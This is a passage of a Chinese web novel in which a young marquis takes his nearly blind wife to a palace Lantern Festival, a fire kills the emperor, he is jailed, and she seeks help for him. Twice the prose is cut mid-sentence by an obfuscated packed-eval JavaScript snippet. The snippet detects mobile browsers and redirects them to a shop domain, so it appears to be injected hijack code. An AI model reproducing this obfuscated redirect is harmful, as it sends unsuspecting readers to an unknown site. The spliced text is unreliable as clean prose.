带程素去给隆兴帝磕头倒没什么,毕竟哄好了陛下总归是好事,可说要带程素去看宫灯,他还是觉得不妥。 她的眼还没治好呢,再带她去看花灯,不是成心让她难受吗。 老夫人循循善诱:“你别看素素她性子静,可她心里还是喜欢热闹的。咱们府里平日冷清,她也不常出门,你们成婚这么久,也是时候该带她出去转转了。有你亲自陪着,难道还怕护不住人吗?” 卫琅想了想也是,这才应下。 转眼间,就到了上元节这一日。 上元历来是大周最热闹的节日之一。 每年到了这个时候,入夜过后,京城万人空巷,举城百姓无论男女老少,都呼亲唤友去街上逛灯会,就连宫里也处处张灯结彩,彻夜不歇。 傍晚时分,卫琅带着程素提前进了宫,先去给隆兴帝叩头谢恩。 果然如老夫人所说,皇帝龙颜大悦,正好又赶上了过节,在卫琅一番溜须拍马下,大手一挥又赏赐了不少东西。 从隆兴帝这边出来后,眼看灯会快开始了,卫琅命人先送程素去跟另一边的卫珏他们会合,自己先去宫门处看了看。 这次灯会设在了皇宫外侧的承天门附近,京中大小官员有千人,每家各自携带家眷,这么多人入宫,禁军守卫的压力不小。作为金吾卫统领的卫琅,今日也免不了要一起四处巡视。 好在也没几个人敢在宫里撒野的,等进宫的人流渐渐稳定下来,他便很快找了借口,溜到灯会这边来找人了。 卫琅一来,就先把卫珏和卫若打发到一边玩去,自己单独陪着程素闲逛。 今年宫中的灯市仿照了民间的样式,路两边搭了竹棚,上面挂满了各色花灯,什么羊角灯、夹纱灯、没骨花灯、滚灯等等,令人看得眼花缭乱。 还有宫人扮作了路边的摊贩,叫卖声此起彼伏,还有歌舞杂耍、傀儡百戏,再加上来来往往的人,当真热闹非凡。 听着熙熙攘攘的人声,程素整个人也放松下来,自从她双目失明后,已经好些年没有感受过这样的热闹了。 卫琅感受到她的情绪,心道今天真是带她来对了,心情也随之轻快起来。 他们逛了一阵儿,卫琅眼看这样感觉逛也不是办法,便在路边摊子上挑了一盏栩栩如生的兔儿灯问价。 一问才知道,原来今日的宫灯都是隆兴帝特意赐下的,无需花钱,只要猜对了对应的灯谜就可以领走。 卫琅一下子来了兴致,问那灯谜是什么,就听那卖花灯的宫人恭恭敬敬道道:“回侯爷的话,日出东海落西山,愁也一天,喜也一天,打一字谜。” 这个谜题倒不难,几乎在他说完的瞬间,程素便猜了出来,只是身旁人忽然没了动静,她也不好开口。 旁边的卫琅:“……” 以他肚子里那点墨水,自然猜不出来的,不过他也有他的办法,从袖子里摸出一块金锞子来,冲对方使了个眼色。 那宫人也是个乖觉的,连忙无声地用口型和手比划着谜底。 卫琅看明白了,立即大声道:“原来是个‘旦’字啊。” 宫人忙不迭取下那盏兔儿灯,递到他手上:“恭喜侯爷,这盏灯就是您的了。” 卫琅笑嘻嘻地拎着那盏兔儿灯,在她跟前晃了一晃:“可惜你没法看见,这盏兔儿灯真可爱,就像你一样。” 程素:“……” 她虽然没能看得一清二楚,可卫琅停顿那一下,以及身旁和对面的黑影动了又动,想也知道他们在搞什么名堂。 卫琅虽不知道她如今已能看见一些了,可看她微微侧头忍笑的模样,哪里不知道自己露了馅,就是再厚的脸皮,一时也有些发烧,讪讪地不知如何是好。 程素噙着笑意道:“既是侯爷赢来的彩头,回去我就让人把它挂在屋里。” 卫琅故作镇定道:“那……就挂吧。” 见程素没有笑话他的意思,他松了口气,一手提着兔儿灯,另一只手又悄悄地伸过去够程素藏在袖笼下的手。 待程素的手被他牵在了掌心,他这才又高兴起来,拉着她向前走。 24. 第二十四章 天上不知何时又飘起了细雪,满街昏黄的灯影中,两人并肩慢慢地走着,也不觉得厌烦,心里一片平静。 直至他们忽地听见一阵奇怪尖锐的哨响,紧接着又是一阵爆竹似的声响。 卫琅有些兴奋道:“放烟火了。” 他话出口才想起什么,扭头看到程素已经往天上看去,这才放下心来。 程素仰头望向漆黑的夜空,想象着昔年上元夜看过的美景。 忽然,她睁大了眼睛。 她看见了! 她看见了……颜色。 这几日以来,她的视野中只有黑白灰几种单调的颜色,然而就在刚刚那一瞬间,随着天上烟火的绽放,眼前忽然涌进了色彩。起初只是正中的那一点,旋即扩散成了五色缤纷的一片。 周围的一切虽然仍是模糊的,但依稀有了色彩,眼前的景物也淡去了几分虚影,让她隐约能看清身边人的轮廓了。 他个头很高,需要她微微仰头才能看到头顶,跟她平日里为他整理衣物时估计的差不多。但更多的面容五官,她再努力睁大眼也看不清了,仍在一团模糊中。 卫琅原本还在看着天上的烟火,察觉到她在看他,就立即转过了头,一转身却撞上了她流光溢彩的眼眸。 他按捺住心里那股莫名其妙的冲动,小声问:“……怎么了?” 程素莞尔一笑:“只是想看看你。” 卫琅脸上一热,心口忽然股热气汩汩涌了出来。正想跟她说点什么,却见程素已经仰头再度往天上望去,只好闭了嘴,一同欣赏起烟火来。 程素仰头看了片刻烟火,又被远处一阵爆竹声吸引了注意力,下意识望去。 今日上元节,不仅这一处满街花灯如昼,就连更远的地方,每座殿宇的屋檐廊角,无处不悬挂着各色宫灯,犹如长龙般蜿蜒,放眼望去,光焰迷离。 她一个晃神,只觉眼前的无边灯烛仿佛化作了滔天火焰,心头陡然一紧。 再定神细看,眼前无数橙红昏黄的光晕仍那样朦胧柔和,哪有什么大火。 程素只道是自己花了眼,然而胸口那种莫名的惊悸感始终挥之不去。 她正欲开口跟身边人说什么,卫琅却忽然听见身后有人在喊他们,回头一看,是卫珏他们兄妹俩去而复返。 眼看卫珏一手提了好几盏花灯,另一只手拉着妹妹过来,卫琅那是一脸恨铁不成钢:“让你带着若若好好逛逛,怎么才这么一会儿又转回来了?” 卫若声如蚊蚋道:“……人好多,若若头晕。” 程素拉起她的小手一试,卫若身上明明穿着厚厚的斗篷,手掌却冰凉的,忙把自己揣在袖中的手炉让给了她。 她一边替卫若暖着手,一边转头看向卫琅,那意思再明显不过了。 卫琅也知道自家妹妹素来身体孱弱,这也怪不得她,只得故作大度对程素道:“……这灯会也没什么好看的,要是逛累了,不如你跟若若他们回去好了。” 程素问:“你不和我们一起吗?” 卫琅无奈地叹口气:“我今晚还要值夜,这会儿只怕还走不开,等晚些时候,我跟人交接过后就回去了。” 程素微微颔首。 卫琅便将他们一直送到了宫门口的马车附近,临分别前,程素还是放心不下方才的事,再三嘱咐道:“冬日天干物燥,今日上元,宫中到处都是灯烛。你既然要当值,一定要多加留意。” 卫琅笑道:“我知道的。” 他正想再说几句顽笑话,却见程素的眉宇间隐隐有担忧之色,不由得问道:“你怎么了?可是哪里不舒服?” 程素摇头,她也说不上来,可一想起方才那一幕,总有种不好的预感。 但人也不能凭子虚乌有的预感行事,她只得再三叮嘱了卫琅后,这才跟卫若一道登上等在宫门口的马车。 卫琅站在原地,目送着马车一路远去,这才转身往宫里去了。 他身边的几个亲信大着胆子打趣道:“大人跟夫人感情真好啊。” 卫琅对这话十分受用:“那是自然。” 众人嘻嘻哈哈地巡逻去了。 虽然跟一群下属们吹着牛皮,不过由于程素临走前的再三叮嘱,卫琅并没有掉以轻心,来来回回地在四周巡视。 直至三更过后,灯会上的人也都走空了。眼看快要到了交接的时间,他才舒了口气,命留下打扫的宫人们将部分没人带走的花灯小心收回,免得引起麻烦。 他又交待了几句,正准备往宫门处走开时,冷不丁一抬眼,忽然只见远处的天边隐约有火光,瞬间整个人一凛。 那个方向……竟然是内廷。 他忙带着几名亲信前去查探,越往火光升起的方向走,越发心惊,起火的方向之一赫然是隆兴帝的寝宫乾元殿。 卫琅加快了速度,离得越近,便越发心惊。大火冲天,浓烟滚滚,几乎染红了半边夜空,可想而知烧成什么样了。 他一路狂奔,等终于来到乾元殿附近时,只见了太子仿佛游魂般站在宫道上。 卫琅连忙迎上前去,正想问问隆兴帝那边如何了,不料失魂落魄的太子陡然见到他,仿佛终于找到了主心骨般,痛哭流涕道道:“父皇、父皇已经……” 轰地一声,卫琅只觉脑袋里仿佛有什么坍塌了,难以置信地看向他身后。 他二话没说,拔腿就往乾元殿跑。 太子慌忙喊道:“卫琅你站住!你要去做什么!来人,给孤拖住他!” 还当真有两个不长眼的侍卫意图阻拦他,却被卫琅一脚踹开,紧接着又有几个侍卫要围上来阻拦,气得他直接抽出佩刀:“这种时候了,你们倒还有心思拦我。谁再敢阻拦,休怪我刀剑无情。” 几名侍卫这才不敢阻拦。 此时的乾元殿外,早已乱成了一锅粥,有人还在奋力泼水,有人还在呼喊,也有人失魂落魄,像隆兴帝身边最得力的大太监高满灰头土脸地就跌坐在地上。 卫琅一把揪住他的衣领:“陛下呢?” 高满早已六神无主,见了他更是涕泗横流:“……陛下说他身子不适,奴婢、奴婢只是奉命去请太医,刚走了一半就听说起火了,这就、这就……” “哭什么哭,”卫琅不耐烦地把他从地上拖起,拉着他踉踉跄跄地往前走,“有哭的功夫,还不如想想办法,陛下要是真出了事,别人不说,你头一个要殉葬!” 高满被他这么一吓,总算打起精神来,继续指挥太监们救火。 卫琅抬眼望去,只见前方的宫室已经在大火之中变得摇摇欲坠,门窗早已化为乌有,其中一根熊熊燃烧的主梁已经砸了下来,隔绝了更深处的视线。 听高满交待,隆兴帝还在里面不知生死,之前组织了几波太监,第一次进去的太监们直接再没能出来,之后的人还没来得及深入,也被火势逼了回来。 卫琅深知,再这样拖下去,隆兴帝就算这会儿还没死,早晚也要出事,吩咐身边的木通等亲信继续组织人手救火。 他撕下一截衣角,浸湿后蒙住口鼻,又命在场的几个太监脱下外袍,用水打湿后披在身上,在众人的惊呼声中,自己一咬牙闷头冲了进去。 一进殿内,卫琅就后悔了。 殿内的温度烫得惊人,滚烫的气浪让空气都有些扭曲。身旁不时传来噼啪爆响声,刺鼻的浓烟让人格外不适。 但来都来了,他还是咬咬牙,绕过地上一段仍在燃烧的木头,往深处走去。 …… 深夜。 程素从梦中猛然惊醒。 她睁开眼,发现自己不知何时出了一身冷汗,里衣粘在了后背上。 眼前仍是一片漆黑,屋里静极了,这往日里见惯了的景象,却头一次让她生出强烈的不适感,仿佛黑暗的角落里藏着什么魑魅魍魉,让她迫切地想看到些光亮,或是听到什么人的声音才能安心。 她叫了几声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111321|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快听见白芷打着呵欠的声音:“姑娘,怎么了。” 程素问:“几时了?” 白芷望了一眼屋外的天色,估摸了一下道:“应当已是四更了。” 程素问:“侯爷这时候也该下值了,怎么还不见回来。” 白芷笑道:“许是回来的路上有什么事耽搁了也说不准,宫里贵人多,侯爷交际又广,指不定被哪位请去吃酒了。” 程素却难得没有笑意,又追问:“木通也没有回来报信吗?” 结果显而易见。 帐子里便没了声音。 等了一会儿,也不见她再说话,白芷下意识披衣起来看看。屋内光线昏暗,隔着帐子,隐约只见程素一个人抱膝拥被而坐,呆呆地望着前方,不知道在想什么。 她轻手轻脚地点起了烛火,待摇曳的烛光亮起,屋里盈满了光亮,程素这才恍然惊醒般,身体慢慢放松下来。 白芷轻声问:“姑娘,可是魇着了?” 她迟疑了一下,摇摇头吩咐道:“扶我起来更衣,再命人去宫门附近小心打听,看看宫里可是出了什么事。” 白芷起先还以为是自家姑娘想念姑爷了,听到宫里二字才心头一紧,忙问:“这……莫不是要出什么大事?” 程素摇头不语。 她只是觉得,按照惯例,卫琅再怎么晚归,也会派人回来给她送个口信,而不是一声也不吭。更何况前半夜分别之前,他特意还说了会早些回来。 不过这也只是她的怀疑而已。 也许他当真是跟人喝酒去忘了,又或者有别的什么缘故。 但愿只是她虚惊一场才好。 在白芷的帮忙下,她很快梳洗完毕,坐在屋内等待消息。没一会儿功夫,打发去问话的人也回来了。 打探消息的人说,宫门紧闭,守卫森严,不似往常。他原本打算上前,找个人套话,可还没走到近前,冷不丁看见宫墙上方竟然架起了弓弩,瞬间警铃大作。 刚要溜走,就被门口的守卫发现了,要不是夜色掩映,他溜得及时,摆脱了追兵,不然早就被抓住了。 这种情况,就是傻子也能看出来不对了,白芷等人听了不免心中惴惴。 程素的面上看不出情绪,沉静道:“通知前后守门的人,从即刻起没有允许,阖府上下谁也不得出门一步。” “再命人去喊醒四公子,问他是否有人能打听到宫中消息,至于老夫人那边……待天亮后,我亲自去说。” 她有条不紊地吩咐下去,众人听后纷纷行动起来。 另一边,被摇醒的卫珏听说之后,也知道此事干系重大,趁着天色未晓,从侯府的后门溜出去打探消息。 然而,他也只能无功而返。 此时天色已亮,程素和老夫人在一起商议了一会儿,又接连派出了几波人打听,同样一无所获。 好在不只是侯府,京中其他的人家很快也嗅到了异样的气息。 毕竟是天子脚下,不说那些世家大族,就是寻常百姓,也不知经历了几番血雨腥风、皇权变换,稍一有些风吹草动,也下意识地关紧了家门。 前一晚的上元节还满城狂欢,今日大街上却格外萧条,几乎不见行人。私底下,各家却都派了人暗地里打探消息。 这种满城风雨欲来的气氛,很快惊动了文武百官。几位年高德重的大臣率先身着朝服,来到宫门外询问。 很快,其他朝臣也终于陆续接到诏令,命他们入宫商议要事。 终于,紧闭的宫门再次大开。 大半个京城都在翘首以盼着宫里的消息,又足足等了大半日,各路真真假假的小道消息才陆续从宫里传了出来。 定远侯府的众人也终于得知,宫里发生了什么—— 昨夜宫里走水,大火殃及乾元殿,陛下殡天。定远侯卫琅身兼金吾卫指挥使同知救火不力,已连同多人被下狱,待太子殿下及众大臣议定诸事后,再行定罪。 25. 第二十五章 隆兴四年,还未出正月,京城的上空却阴云笼罩,俨然又要变天了。 上元夜宫中多处走水,宫人烧伤无数,乾元殿在大火中焚毁大半,陛下突然驾崩,太子悲痛欲绝。 国不可一日无君,众大臣正在议事之时,皇后和二皇子却率先发难,质疑是太子救火不力,才导致了乾元殿之祸。 太子勃然大怒,反而指责二皇子目无尊卑、狼子野心,双方大吵一架。 早在这次出事之前,双方就暗地里都各自拉拢了朝臣,如今又是夺位的关键时候,更是分毫不让。 只是一方有太子名分在,本应继承大统;另一方又是皇后所出,又死死咬住隆兴帝遇难一事不放,双方还在拉锯之中,短短两三日只怕出不了结果。 老夫人是经历过大风大浪的,哪怕听到卫琅被下狱,也并没有惊慌。 她一边派人给牢里的卫琅送衣服和吃住用的东西,免得让他在狱里遭罪;一边准备去宫里找太子和皇后求情。 然而随着时间的推移,侯府众人却发现,事态只怕比她们想象得还要严重。 老夫人几次求见太子和皇后,宫里都拒而不见,问也只道陛下仓促驾崩,留下身后诸多事宜,都需要那二位与文武百官商讨,一句没空便把人打发了。 至于给卫琅送东西,更是无从下手。 她们竟然打听不到半点卫琅的消息,连他被关在哪也不知道。 这期间,老夫人也去了几处故旧人家走动,托人帮忙打听内情,却次次无功而返,直至她又一次出门打听后,才终于得知卫琅可能已被秘密关押在了诏狱。 诏狱是什么地方,没有人会比程素更清楚了。那是皇家牢狱,专门收押犯罪的权贵官员,据传但凡关进去的,都是忤逆犯上、大奸大恶之徒。 从大周开国以来,能从中走出来的人,不过十分之二三。 当年她父亲上疏谏言,一度触怒了先帝,也一度被关押在那里。若非有几位大臣帮忙求情,只怕也要冤死在其中。 如今卫琅也被关进了诏狱,可想而知凶多吉少。若不再抓紧时间想办法,就算日后能把人救出来,只怕自幼娇生惯养大的他也要吃不少苦头。 还未等她们想出办法如何保举卫琅,突然又听到消息,太子和二皇子已命令大理寺、督察院和刑部联合审理乾元殿大火一案。 老夫人连忙私下托人打听求情,然而主理案件的官员也是朝中有名的清流,秉性刚直,就算是侯府也不给面子,更别提让人见卫琅一面了。 老夫人越发忧心忡忡,跟程素交待了家事,正要出门再去找人说情,刚一起身,忽然只觉眼前一黑,瞬间天旋地转,就这么昏了过去。 “老夫人晕倒了!” 众人一阵兵荒马乱,上去帮忙搀扶起老太太,又匆忙请来了大夫。 好在老夫人只是一时精力不济,没过一会儿,就慢慢睁开了眼。只见卫珏、卫若都守在床边,眼巴巴地望着她。 老夫人安抚了一下他们的情绪,问道:“素素呢?她去哪里了?” 卫珏道:“方才嫂嫂还在这里,只是有人喊她,说有什么事,她便出去了。” 说话之间,程素已经回来了。 老夫人便问起了外头是不是又出了什么事,程素只是摇头:“没什么要紧事,您好生休息便是。” 老夫人叹道:“何必哄我,若真没要紧的事,这时候还有人敢闹到这里来?” 知道内情的李嬷嬷这才忍不住了:“……是四夫人吵着要见您,说是她要离开侯府,自请回薛家。” 都这个节骨眼上,谁看不出来,她分明是听说了什么,怕侯府出事,牵连到自己才要赶紧逃离。不然之前都被禁足了那么多日,怎么也不见她要离开卫家。 老夫人只是闭了闭眼:“我还当是什么事,树倒猢狲散,侯府有难,自然有人想另谋生路。随她去吧,出了这个门,以后是福是祸,也与卫家再无瓜葛。” “也问问底下的人,若有什么人也想走,也放他们一条生路。” 守在床边的卫若听得心里难过,强忍着眼眶里打转的泪意。 老夫人抬手摸了摸她的小脑袋,话却是对程素说的:“……都不用怕,阿琅他二叔如今好歹还在边关,太子再刻薄寡恩,也不至于在这个节骨眼上,斩了我这个老婆子和阿珏。” 可她担心卫琅。 她甚至做好了卫家这次丢掉爵位的打算,可什么也换不回来长孙的一条命。 再看向程素,老夫人叹息道:“……好孩子,当初我向你母亲求娶时,还自信以侯府的权势,怎么也能帮忙庇护你一二。没曾想阿琅福薄,若是他这次真的出不来了,我会替他做主,给你一封休书。阿琅若知道了……也会明白的。” 程素难得地沉默了一会儿,才道:“老夫人,真到了如此地步吗?” 老夫人命人把卫若先带走,只留了她和卫珏等人,这才叹道:“我活到这个年纪,什么都见过了。天家的事,有什么道理可言呢。当年你父亲程大人上书谏言,明明是为公为民,却失了帝心,因此遭祸,还有那些年京城大起大落的人家,谁能想到那些变数。” “世事无常,天家无情,若我当真有个万一,卫家也难逃此劫,一家人黄泉路上作伴倒也没什么。可万一若若不幸沦落……看在她那样喜欢你的份上,还望你和你母亲照顾她一二。” 老夫人的话虽含蓄,但托付的意思再明白不过。 程素仍坚持道:“老夫人,我觉得这件事,也许还有转圜的余地。” 她记得上元节当晚,宫中守卫紧张,卫琅值守的范围本就在皇宫的外围。 再按照传闻中宫里起火的时辰来算,那个时候他怎么也该完成了值守,往宫外走了,而不是又去了乾元殿。 他临时赶去救火,顶多算救驾去迟,太子等人就算要追究责任,就算不顾念旧情,也不至于要把人打入诏狱的地步。 更蹊跷的是,太子和二皇子双方本就在乾元殿大火一事上有所争执,而对于卫琅这个当事人的态度却成谜,非但把人关起来了,还都不准许卫家派人见他。 程素总觉得有些不对。 她这样一说,老夫人也反应过来了。 其实整件事最棘手之处还在卫琅的罪名上。若他犯下的只是寻常过错,侯府怎么也能保下他,可偏偏宫里扣的罪名是他救灾不力,致使隆兴帝身亡。 就连老夫人自己也不敢保证,卫琅在这件事上没有过错。 可若是有人诬陷他谋反,或是别的什么事,老夫人第一时间就要怀疑了。毕竟是自己一手带大的孩子,什么秉性心肠,她心里还是有数的。 她听说卫琅出事后,一时关心则乱,才忽略了整件事的怪异之处。 然而,没人能说清那一晚卫琅赶去乾元殿前后真正发生了什么。 唯一牵涉其中的人如今身陷牢狱,想要弄明白如何能破局,恐怕只有在见到他本人才有可能知晓。 这样一想,老夫人的精神也振奋多了,连忙从床上起身,卫珏和李嬷嬷等人赶紧去扶,却被她挥了挥手:“不必慌乱,我没什么大碍,给我备上马车,稍后我去英国公府、镇国公府上再走动一二。” 众人不敢忤逆她的意思,正要按她的吩咐去做,却听程素道:“不行,您已经病了,应当好生休养才是。” 老夫人只当她是担心,摆手道:“我自己的身体我自己有数。” 程素却制止了她,语气温和却透着股不容置疑的味道:“您必须得先病着,而且还暂时病得下不来床了。” 老夫人一怔。 程素道:“此事已经过去五天了,无论是太子和二皇子的人,还是主审侯爷的官员,还有些故旧人家也不愿意见您,您可曾想过是为什么?” 老夫人苦笑:“无非怕我这个老婆子求到他们身上,给他们带来麻烦罢了。” 她心里也明白他们的难处。 主审案件的官员不愿背上偏私之名,那些故交也担心牵扯其中,无法脱身。只是为了卫琅的性命,就是明知不该不能,她总也要试一试。 程素轻声道:“不止如此,我觉得……也许侯爷还未交待出实情。” 外人的心思再明了不过,最让人捉摸不透的还是太子和二皇子两方的态度。 双方至今僵持不下,就说明没有任何一方得到让自己满意的结果。 太子未能自证清白,二皇子也没能抓住把柄,命令大理寺和刑部联合审理卫琅,便是为了从他身上找突破口。 倘若乾元殿那晚当真发生了什么,既然卫琅下了诏狱都还没松口,那么大理寺和刑部只怕也难从他身上作文章。 只要他那里能扛住,她们就还有疏通打点的机会。 老夫人道:“既然如此,那我就更应该去了。” “您不能去。” 程素摇头道:“您是侯府的主心骨,不仅关系着远在边关的二叔,也能动摇侯爷的心意。眼下他是两方博弈的关键,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116358|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算宫里那边肯松口,让咱们探望,只怕也不会轻易让您见他。” 老夫人苦笑。 卫家人丁零落,若是她不去,这一家子老幼妇孺,还有谁能去呢。卫琅不在,唯一的男丁就只有卫珏了。 只是从前有他兄长在前顶着,这孩子只需安心念书便是了,性情过于老实了,也不知道他能不能担此重任。 她刚欲张□□待卫珏,却听程素主动请缨道:“让我试试吧。” …… 正当程素她们商议着如何保全卫琅,另一边的莳芳院也在忙碌着。 薛氏催促着剪秋:“快,快把东西都收拾好,咱们赶紧离开。” 自从除夕夜过后,她便被那死老太婆软禁在莳芳院里,连院门口都不得踏出一步,每日由人看着抄写佛经。 身边服侍的丫鬟也都被人带走了,只留了剪秋一个陪着她受罪。 直到昨天傍晚,她偶然听到守门的两个婆子私下议论,这才得知了卫琅获罪下狱的事,顿时一阵狂喜。 卫琅一死,爵位必然就落在了卫珏身上。卫珏那性子可再好拿捏不过了,只要二房的其他人一直留在边关,这侯府里以后岂不是任由她说了算。 然而又听了一阵,她才知道,卫琅这次获罪竟然跟隆兴帝的死有关,瞬间又是一阵天旋地转。侯府一旦被抄家问斩,那她岂不是要跟着倒霉? 富贵固然迷人眼,但还是保命要紧。 薛氏左思右想,总算下定了决心,怎么也要抢在卫家定罪前赶紧跑出去再说。反正她这些年手上的金银细软也不少,出去以后一个人吃香的喝辣的快活。 打定主意后,她又哭又闹,动静传到了松芝堂,被人逼着写了一封自请离开的文书,总算得了机会。 她催促剪秋赶紧收拾箱笼,却不知剪秋手上磨磨蹭蹭地收拾着东西,心里在绞尽脑汁地盘算着该怎么才能脱离薛氏。 她可不像薛氏那么多年被人捧惯了没脑子,剪秋心里清楚得很,真要跟着薛氏离开了,那些钱拿不拿得住另说。 没了侯府傍身,薛家那些人第一个要生啃了她们的骨头。 与其那样,还不如想办法暂时先留下来。若是侯府情况不对,她就偷偷跑路。 这样一想,剪秋倒又想起了半夏。从她们被禁足开始,那丫头就不见踪影了,只留她一个人在这里受罪。 想也知道,那丫头没良心,不知什么时候一声不吭地把她们都卖给了松芝堂。不过如今看来,那丫头倒是聪明。 薛氏还指挥着剪秋收拾她的金银细软,门外的李嬷嬷等得不耐烦了,带人闯了进来,一看就明白薛氏在打什么主意。 她不由得冷笑:“当初你嫁进府里,嫁妆还是老夫人给你添妆的。如今你既然不是卫家人了,这些东西也与你无关。” 在她的虎视眈眈下,薛氏只得用包袱装了几件旧衣服,就怒气冲冲地走人。 还没出门,剪秋忽然直喊肚子疼,疼得弯下腰去要如厕。 可薛氏左等右等,那死丫鬟竟然不见回来。她哪里能不知道这丫鬟分明是起了背主之心,气得刚想要大闹,就被两个仆妇架住赶出了侯府。 薛氏出门后啐了一口,心道来日只等卫家被抄家了,她定要让这些人好看。只是眼下她急需一个去处,仓促之间,只得匆匆忙忙回了酸枣巷的薛家。 薛家的丫鬟们见她来了,连忙跑去报信:“姑奶奶回来了。” 薛家大夫人连忙迎了出来,满脸热情地嘘寒问暖道:“哪来的风把咱们家姑奶奶吹回来了?听说侯府那边最近出了事,不知老夫人可曾安好?” 薛氏没搭理她,直接吩咐道:“我打算在家里小住几日,给我收拾个院子。” 大夫人热情不减,连忙安排人去安顿她,转过身给心腹使了个眼色。 不出半个时辰,大夫人便得知了薛氏离开卫家的始末,毕竟侯府那边也没藏着掖着,先前她就被禁足的事,找个人一打听也能猜得八九不离十了。 大夫人听了冷笑:“好啊,都被扫地出门了,还敢来我们家耀武扬威。” 从前薛家肯让着她,无非看在侯府的面子上,以及薛氏能带来的好处。如今她连靠山都没了,还想跟以前一样骑在他们头上当姑奶奶,简直是白日做梦。 她那心腹心领神会:“那奴婢这就让人把那位挪出去?” 大夫人慢条斯理道:“不急,她这些年手里还攒了不少家私,咱们有的是时间,跟她一笔一笔慢慢算账!” 26. 第二十六章 听了程素的请求,老夫人的第一反应便是拒绝:“这怎么能行?” 不说她情况特殊,哪有好人家会让新婚不久的女眷出面到处求人说情。 就连卫珏也眼眶红红地劝道:“嫂嫂,让我去吧。“ 卫琅不在,他如今就是家里唯一的男丁,理应由他担起重任。 “只能是我了,”程素却温声坚持,“若是老夫人不病,我也不出面,怎么能让人知道侯府已经到了病急乱投医的地步,之后又如何取信于人。” 老夫人流泪道:“那也用不到让你去求人,你母亲当初把你托付给我,总不是为了让你出去受人非议的。” 程素反而笑了:“我为了救我的夫君而奔走,就算是传出去,也是成全了我的义名,怕什么非议呢。” …… 最终,程素还是说服了他们。 翌日一早,她便出门轮番拜访京城里能说得上话的权贵官员。 先前老夫人出面时,碍于她老人家的身份,纵是没人敢应承什么,也都毕恭毕敬把人迎到了府中做客。 如今换了个年轻眼盲的女眷来,不说主家,各府的门子最会捧高踩低不过,让程素接连吃了好几家闭门羹。 不过即便受了冷待,她也不生气,就安安分分地等着,哪怕等上一两个时辰只得了主人家的婉拒,她也只是道谢后,一个人拄着竹杖黯然走了。 很快,各府都知道这名有些脸生的女眷便是先前卫琅新娶的夫人。 数月前那桩婚事传出来时,程素的身份也是被议论过一阵的,可那些声音后来不知怎么被压了下去,也就没人再提了。 至于程素本人,她只在除夕宫宴上露过一回面。乐安县主那事是私下处理了的,也没几个人知道内情。 因着她的举动,她的身世经历又被翻了出来。早年她父亲被贬,好不容易嫁进侯府了,丈夫又被下狱,这命途怎么看也太多舛了,外人听了都不免唏嘘。 尤其在听说了卫家透露的消息后,更让人叹惋不已。 卫家老夫人病重,一家子老弱孤苦无依,自知卫琅罪有应得,只求托人能给他送点吃穿,临刑前给家里留些话。 文官尚且好说,武将出身的勋贵们无不生出了几分唇亡齿寒之感。 侯府两代人为大周鞠躬尽瘁,卫大将军至今还在边关抵抗突厥,哪能料到京城的家中却出了这样的事。 卫琅有没有罪尚无定论,一家老小被逼迫至此,甚至新婚不久的女眷都抛头露面出来求情,足以让人心寒。 先帝一朝的祸事还历历在目,若卫家想替他脱罪,自然人人避之不及。可若是这样的人家只是送点吃喝,连打听一二近况都不允许,未免太过刻薄寡恩了。 程素头一日还屡屡碰壁,但很快情况便有所好转。有些人家见她来了,也没有一味推辞主人不在,而是请她进屋吃茶,让女眷们陪她说了话再走。 尽管她心里清楚,这些人家也未必真能帮上忙,只是口头客气一番,但至少她不会每次都吃闭门羹了。她仍按照原计划,每天雷打不动地出门拜访。 这天她刚从一户人家的府邸出来,正打算登上马车,忽然听到一阵喧哗声。 她听到一阵马蹄声停在了身前,紧接着响起一个轻佻的声音:“呦,你就是卫琅家的吧,倒是便宜那小子了。” 虽看不清来人的模样,程素也能想象到对方在以怎样的目光在打量自己。 身旁的青桂小声提醒,对方就是原礼部侍郎的长子了。 去年初这人因为当街强抢民女,被路过的卫琅打了一顿。对方不服气,纠集了一批人马想找回脸面,卫琅也同样找了人,双方当街斗殴,惊动了朝廷。 事后,礼部侍郎被申饬教子无方,一下罚没了三年的俸禄,卫琅也因此被扔出京去南方剿了小半年的匪。 双方的梁子早已结下,只是先前忌惮着侯府的权势,对方也不敢来找茬。 如今眼看卫琅落难,侯府沦落到程素一个女流之辈在四处托人求情,他自然以为可以将卫家踩在脚底了。 那赵丙申本来就是个酒色之辈,特意赶来就是为了折辱程素出口恶气,目光在她身上打了个转后,越看越来了兴致:“卫琅那小子倒是好福气,竟然娶了这么个如花似玉的美人。” 听他胡言乱语,卫家丫鬟和车夫无不变色,挡在程素身前冲他怒目而视。 两拨人正在对峙之时,身后传来声音:“都聚在这干什么呢。” 赵丙申一回头,只见齐文羽带着一帮人往这边来了,瞬间恨得牙根直痒痒。他记恨当初挨了卫琅那一顿揍,当然也忘不了跟在卫琅身边的这群狐朋狗友。 齐文羽一看就知道这小子动的什么心思,当即冷笑:“就是卫琅不在了,这京城还没轮到你来撒野。都给我打!” 赵丙申没料到他刚说了两句话就要开打,一时反应不及,就被迎面一记拳头砰地打倒,很快被淹没在拳脚之中。 他的家丁们见状不好,连忙上去救主,很快也被揍得哭爹喊娘的。 这场闹剧中,唯一还算清净的只有被提前拉到角落里避开的程素了。 齐文羽望着眼前陌生女子,不知为什么一阵心虚。 